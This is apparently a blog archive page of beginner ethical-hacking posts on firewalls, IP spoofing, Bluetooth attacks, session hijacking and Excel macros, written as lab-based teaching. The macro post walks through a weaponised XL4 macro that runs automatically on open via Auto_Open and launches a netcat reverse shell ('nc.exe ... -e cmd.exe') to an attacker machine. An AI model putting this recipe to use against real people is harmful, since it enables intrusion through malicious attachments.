Category: Uncategorized

Hello, aspiring ethical hackers. In this blogpost, you will learn about Firewalls. A firewall is a software or a hardware device that acts as a wall between the internet and the internal networks or between any two networks. The main purpose of the firewall is to prevent malicious traffic from entering the internal network.

Based on the delivery method, a firewall can be classified into three types. They are,

1. Hardware
2. Software
3. Cloud based

There are two types of firewalls based on the method of operation. They are, Host-based and Network based firewalls.

1. A host-based firewall is a software that is installed on a computer or network. Ex: Windows Firewall.
2. Network based firewall is a software or hardware firewall that acts as a barrier for the entire network.

Types of Firewalls

Different types of firewalls use different methods of operation to block malicious traffic. Before you learn about how firewalls operate, let’s first see how network traffic travels from one computer to another computer.

When one computer (let’s say computer A) sends data to another computer (let’s say computer B), the data is first split into differ parts which are known as packets. These packets are sent to computer B. Before being transmitted, a header is added at the beginning of each packet. This header contains information like source IP address, destination IP address, source and destination ports, network ports etc. Once these packets reach the computer B, they are reassembled. Now, let’s learn about the different types of firewalls.

1. Circuit level gateway:

The simplest types of firewall, it operates at the session layer of the OSI model. This type of firewall monitors TCP handshakes between two machines.

Based on the configured settings of the firewall, it accepts or blocks traffic. Circuit level gateways don’t inspect the packets.  So as long as there is a handshake, even malware laden requests are allowed.

2. Packet filtering firewalls:

As the name of the firewall says, this firewall inspects the packet’s header for information about source and destination IP address, port etc. It operates on the network layer of OSI model. Note that it doesn’t inspect the actual payload.

3. Stateful Inspection firewall:

Stateful Inspection firewalls work on network and transport layer of the OSI models. It uses both TCP handshakes and packet filtering to detect malicious traffic. It specifies traffic as malicious after observing the traffic for a particular period of time which is known as state. Then it compares the network traffic to the observed state to classify traffic as malicious or not.

4. Proxy firewall:

A proxy firewall is mostly used to hide or make the IP address of the client’s system or network IP. It operates at the application layer and checks both header of the payload and the payload to classify traffic as malicious.

5. Next Generation firewall:

A next-generation firewall uses the features of all the above-mentioned firewalls to classify traffic as malicious or not.

Hello, aspiring ethical hackers. In this blogpost, you will learn about IP spoofing or IP address spoofing. To understand IP spoofing, you need to first understand what is an IP address?

What is an IP address?

Every house has an address no matter in which nation it is around the world. This address helps in identifying the location of the house. Just like physical houses, every computer too has an address. This address is known as Internet Protocol (IP) address. This IP address is used to identify the computer, laptop or any digital device around the internet.

I wouldn’t go all about IP addresses here, but I think this blogpost is a good start. To stick with basics, you can view the IP address of your device using the command “ipconfig” in Windows and “ip a” in Linux.

The IP address is needed for communication between various devices over internet. If your computer or mobile device doesn’t have the IP address, it cannot communicate over internet.

What is IP spoofing?

Well, let’s now get to the original topic of this blogpost. IP spoofing is the process of spoofing your IP address over the internet. It means changing the IP address of your device to something else other than assigned to your computer.

Why is IP spoofing needed?

How many times have we seen getting meterpreter session on our blog and in our magazine Well, in these cases, attackers IP address can be easily identified by viewing logs on the target system. In hacking, Black Hat Hackers spoof IP addresses to hide the source of their attack. IP spoofing is also used for genuine purposes like to protect their privacy.

Methods of IP spoofing

There are various method by which IP address can be spoofed.

1. Black Hat Hacker’s technique:

Black Hat Hackers often source their hacking attack through other IP addresses to hide their identity and to prevent tracking their hacking activity. Many computers in Fortune 200 companies are provided for sale on the dark web with access.  Hackers buy access to these computers and source their hacking attacks from these systems. So, even if cybersecurity investigators detect the hacking attack, they can’t track the source to the original IP address of the hacker.

2. Proxy server:

A proxy server is a system or server that acts as a gateway between users and the internet. When they visit a website through a proxy, the IP address of the source computer is not shown and the IP address of the proxy server is logged on the target server. This is often used to bypass internet censorship.

3. Virtual Private Networks (VPNs):

A virtual private network (VPN) is a mechanism that creates a secure connection between the source and target system. It uses encryption to create this secure connection.

Hacking attacks that use IP spoofing

1. DDOS attacks:

While performing a DDOS attack, attackers often use spoofed IP addresses to overwhelm the target server or website with requests.

2. Man in the Middle attacks (MiTM):

Packet sniffing attacks or Man in the middle (MiTM) attacks also use IP spoofing.

See how to spoof your IP address in Kali Linux.

Hello, aspiring ethical hackers. In this blogpost, you can learn about Bluetooth hacking. Bluetooth is a short-range wireless technology standard used for exchange of data between devices.

Bluetooth is mainly used as an alternative to exchange of data using wires. The range of Bluetooth is very short may be over 10 meters.

What is Bluetooth hacking?

Exploitation of vulnerabilities in Bluetooth technology standard to hack Bluetooth enabled devices is known as Bluetooth hacking.

Modes of Bluetooth

A Bluetooth device can be set in two modes. Discoverable and Non-Discoverable.

1. Discoverable: In discoverable mode, the Bluetooth device is visible to other Bluetooth enables devices.
2. Non-discoverable: As you should have guessed by now, in this mode, the device is not visible to other Bluetooth enabled devices.

Pairing modes

Similarly, Bluetooth has two pairing modes. They are Pairable mode and Non-pairable mode.

1. Pairable mode: In this mode, the Bluetooth device accepts the pairing request upon requested.
2. Non-pairable mode: In non-pairable mode, the Bluetooth device rejects the pairing attempt.

Various Bluetooth based attacks

There are various Bluetooth based attacks. Some of them are,

1. Bluejacking:

Bluejacking is the attack in which an attacker can send messages to other users from the victim’s phone using Bluetooth.

2. Blue snarfing:

In this attack, an attacker can exploit Bluetooth to steal sensitive data from the target mobile phone.

3. Bluesmacking:

Similar to Ping of Death DoS attack, in this attack, attacker sends a oversized ping packet using Bluetooth to the victim’s device causing a buffer overflow attack.

4. Bluebugging:

In this attack, the attacker gains access to the target’s device using Bluetooth without target user being aware of it.

5. Blueprinting:

In this attack, the attacker tries to printout the data information of the target user’s mobile phone.

6. MAC spoofing attack:

: In this attack, just like any MAC spoofing attack, the attacker spoofs the MAC address of the target user’s mobile phones.

7. Man in the Middle (MitM) attack:

The attacker places himself between two Bluetooth devices.

Impact of Bluetooth hacking

Bluetooth attacks can lead to various threats. These include,.

1. Leak of calendars and address book.
2. Sending spurious SMS messages.
3. Bugging devices.
4. Sending premium messages.
5. Social engineering
6. Installing malicious code

Hello aspiring Ethical Hackers. In this blogpost, you will learn about session hijacking. In March 2023, the YouTube channel of youtuber Linus Sebastian was hacked. Hackers deleted all his videos and uploaded a few videos on crypto currency. It was later discovered that hackers used session hijacking to gain access to Linus Sebastian YouTube channel. With the advent of passkeys, biometric and password less authentication, hackers are finding it difficult to grab credentials using password cracking. So, they are increasingly turning their attention towards session hijacking. What is session hijacking? To understand that you need to first understand what a session is.

What is a Session?

You login into a number of websites daily. You should have noticed that you don’t have to login again and again into some of the websites. I mean you are kept in logged in state on a website and you don’t have to enter your username and password again and again.

How is this possible? Well, HTTP & HTTPS are itself stateless and hence sessions are used by almost all the webservers to keep the user logged in and track him. A session is assigned as soon as user logs in and it is kept active for a particular period of time or until the user decides to log out.

What is a Session ID?

These active sessions are tracked using piece of text called a Session ID. Usually Session ID is included as part of a cookie.

What is Session Hijacking?

A session hijacking or cookie hijacking is the stealing of a session by whatever means. Once a hacker steals a session, he can perform all actions a legitimate user of that account can perform. No need to crack passwords anymore.

Types of Session Hijacking

1. Session Fixation:

In a Session fixation attack, the attacker tries to fix the session ID for another user. This is only possible if the webserver accepts Session ID’s from URL.

2. Session sniffing:

In packet sniffing and password sniffing, you learnt how hackers can sniff the data in transit. Not just these, even session IDs can be sniffed using any packet sniffer like Wireshark, tcpdump, Ettercap, dsniff, kismet and driftnet etc. This is done by sniffing on cookies if they are being transmitted without any encryption as they contain the session IDs.

3. Cross Site Scripting (XSS):

In our previous article you learnt about Cross Site Scripting. Hackers can also use it to steal a session ID.

4. Malware:

Hackers can install session hijacking malware on the victim’s computer and steal the session ID. Learn more about malware.

5. Brute forcing:

Not just credentials, even session ID’s can be brute forced by hackers. However, they need to have some knowledge about the structure of the session ID before attempting brute force.

Hello, aspiring ethical hackers. In our previous blogpost, you learnt about Macros and their role in cybersecurity. In this article, you will learn about Excel Macros. When people start learning Ethical Hacking, they often focus on tools, exploits and technical vulnerabilities. However, many real-world attacks do not begin with complex hacking techniques. Instead, they start with something simple and familiar like an Excel file. One of the most common reasons Excel files are abused in attacks is the presence of macros.

For beginners in ethical hacking, understanding Excel macros is essential as they demonstrate how legitimate features can become security risks when trust is misused.

What Are Excel Macros?

An Excel macro is a small program that automates tasks inside a spreadsheet. Instead of repeating the same steps manually such as formatting data, running calculations or copying information, a macro allows Excel to perform these actions automatically.

Excel macros are written using VBA (Visual Basic for Applications), a scripting language built into Microsoft Office. Many users create macros by recording their actions, meaning no advanced programming knowledge is required. Macro-enabled Excel files usually have the .xlsm extension. From a cybersecurity perspective, the key point is that macros are executable code inside a document.

Why Excel Macros Matter in Cybersecurity?

Excel macros matter because documents are generally trusted. Users expect spreadsheets to be safe and attackers take advantage of this trust. Macros are important in cybersecurity because:

• They run inside a trusted application
• They require user interaction rather than exploiting software bugs
• They are common in corporate environments
• They blend in with everyday business workflows

For beginners, macros are a clear example of how attacks often rely on human behavior and not just technical weaknesses.

How Excel Macros Work?

When a user opens a macro-enabled Excel file, Excel does not immediately run the macro. Instead, it displays a warning to users asking whether macros should be enabled. If the user chooses to enable macros:

• The macro code executes
• Excel allows the macro to automate tasks
• The macro runs with the same permissions as the user

This design protects users, but attackers abuse it by convincing users that enabling macros is necessary to view or use the document.

How Attackers Abuse Excel Macros?

Attackers commonly use Excel macros as an initial access method. A typical scenario looks like this:

1. A phishing email is sent with an Excel attachment
2. The attached file claims to be an invoice, report or document that needs to be opened urgently
3. The document instructs the user to enable macros
4. Once enabled, the macro performs malicious actions

As you can see, no technical exploit is required. The success of the attack depends entirely on whether the user trusts the file.

Why Macro-Based Attacks Still Work?

Despite improvements in security controls, macro-based attacks remain effective because:

• Excel is widely used and trusted
• Many organizations rely on legacy macro-based workflows
• Users are often trained to enable macros for work
• Blocking all macros can disrupt business operations

For beginners, this shows why security is about trade-offs, not absolute rules.

Risks Associated with Excel Macros

When misused, Excel macros can:

• Modify or delete files
• Access sensitive data in spreadsheets
• Trigger additional malicious activity
• Act as the first step in larger attacks

As macros run under the user’s permissions, their impact depends on the user’s access level. This is why attackers often target employees with broader access.

What Excel Macros Teach Cybersecurity Beginners

Excel macros teach several foundational lessons to beginners like,

• Not all attacks require hacking tools
• User decisions play a major role in security
• Legitimate features can become attack vectors
• Awareness is a powerful defense

For beginners, macros are an excellent case study in real-world cybersecurity.

Practical Walkthrough

Now, let’s see how to create a Excel Macro that performs a malicious action. We will be performing this practical in the Basic Lab from our blogpost on Hacking Labs. Here are the lab requirements.

1. Kali Linux (Attacker System)
2. Windows OS with Microsoft Office installed (Target System)

On the target system, open Excel in Microsoft Office or the Office Suite. We are doing this on Microsoft Office 2007. You should see an Excel Workbook opened as shown below.

Right click on “Sheet 1” and select the “Insert” option as shown below.

In the newly opened window, select MS Excel 4.0 Macro and click on “OK”.

This will change the name of “Sheet 1” to “Macro 1” as shown below.

Save the file with the name you like. We have named it “evil_macro” for easy identification. While saving it, save it as a Macro Enabled Excel Workbook.

Once the file is saved, it’s time to create the code for macro. In the first column, which is named A1, we insert the command shown below.

=EXEC("cmd.exe")

You may not realize it yet, but you have already created your first XL4 macro. In the second column, i.e A2, insert another command “=HALT()”. This is to ensure that the macro you created does not face an error while running. It’s time to test your macro. Right Click on the first column and click on “Run” as shown below.

Most probably, this will open a new window as shown below. Click on “Run”.

Doing this opens a Windows CMD window as shown below.

Voila, we successfully created an Excel Macro and even executed it successfully. If you have noticed it, we opened a Windows CMD by inserting a simple code. Now, let’s make a few changes to the “evil_macro” file. Move the =HALT() command to A3 cell and enter command given below in cell A2. Save the file.

=ALERT("You have been hacked")

Right click on Cell A1 and select “Run” again just like you did before.

Now, we can see that apart from Windows CMD window being opened, another window popped up with the message “You have been hacked”. We have just performed two operations with macros in one file. Not just cmd.exe, we can open other programs like Notepad or Calc.exe using the “=exec” function.

Now, let’s try something a tiny bit advanced like spawning a reverse shell. Download the Netcat Windows executable. Open Notepad and insert the following command into it.

<Path to Netcat Windows executable> <target IP> <target port> -e cmd.exe

On our system, this command looks like this.                    

C:\Users\nspadm\Desktop\nc.exe 192.168.36.189 4444 -e cmd.exe

The “-e” option specifies which command to execute after netcat makes a successful connection. Now, save this file as a CMD file.  This can be done by saving the file name inside double quotes. For example, “shell.cmd” and keeping the file type as “all files”.

Now, in your evil_macro file, change the =EXEC function to execute the shell.cmd file you just now created as shown below.

Save the file. Before executing the macro, start a Netcat listener on the attacker machine’s IP address you specified. We are using Kali as our attacker machine here.

Now, when you execute the macro, you should get a successful shell as shown below.

This is all fine but nobody will open an Excel file and execute some suspicious looking code in it. We need the code to run automatically as soon as the user opens the Excel file. To do this, Click on A1 cell of your “evil_macro” file and rename it to “Auto_Open” as shown below.

Save the changes and close the file. Start the netcat listener again. Now, just open the evil_macro file and you should see the successful spawning of reverse shell again.

Best Practices for Excel Macro Security

Cybersecurity beginners should be familiar with basic defenses against macro abuse. These include,

• Disabling macros by default
• Enabling macros only from trusted sources
• Avoiding macro-enabled files from email
• Using Protected View in Microsoft Office
• Keeping Office applications updated
• Learning to recognize social engineering techniques

Understanding these controls is just as important as learning attack techniques.

Conclusion

Excel macros are not inherently dangerous. They are powerful automation tools designed to make work easier. However, when attackers exploit user trust, macros can become a serious security risk. For cybersecurity beginners, learning about Excel macros builds an important mindset: always question where files come from and why a feature needs to be enabled. In cybersecurity, understanding how attacks really start is just as important as understanding how they get executed.